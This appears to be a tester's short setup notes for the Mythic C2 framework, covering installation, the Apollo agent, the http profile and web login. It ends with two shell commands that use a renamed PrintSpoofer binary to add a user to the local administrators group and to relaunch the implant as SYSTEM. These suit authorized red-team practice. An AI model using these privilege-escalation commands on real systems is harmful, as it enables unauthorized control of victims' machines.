mythic
A cool C2 framework I'm excited to get more into in my own testing.
Quick install
Get dependencies:
sudo apt install -y make
Clone:
git clone https://github.com/its-a-feature/Mythic ~/Mythic
cd ~/Mythic
Docker + compose plugin:
DEBIAN_FRONTEND=noninteractive suppresses the debconf "Pending kernel upgrade"
prompt that otherwise stops the script and waits for .
sudo DEBIAN_FRONTEND=noninteractive ./install_docker_kali.sh # or install/docker_ubuntu.sh
Build:
sudo make
Set a known admin password BEFORE first start (optional):
# If you skip this, Mythic generates one you read back in step 8.
sudo ./mythic-cli config set MYTHIC_ADMIN_PASSWORD 'CanUBelieveItsNotButter?'
Install Apollo agent + http C2 profile
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
Start the stack
sudo ./mythic-cli restart
Confirm creds
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD
sudo ./mythic-cli status
Login to web interface
https://your.mythic.ip.address:7443
# username: mythic_admin
# password: the one you set earlier
Create basic payload
Coming soon
Working with callbacks
Run printspoofer to add a lowpriv user to the local admin group:
shell c:\users\localuser\downloads\notps.exe -c "cmd /c net localgroup administrators lowpriv /add"
Run printspoofer to fire your agent.exe again (this time with system privs):
shell c:\users\localuser\downloads\notps.exe -c "c:\users\localuser\downloads\mythicagent.exe"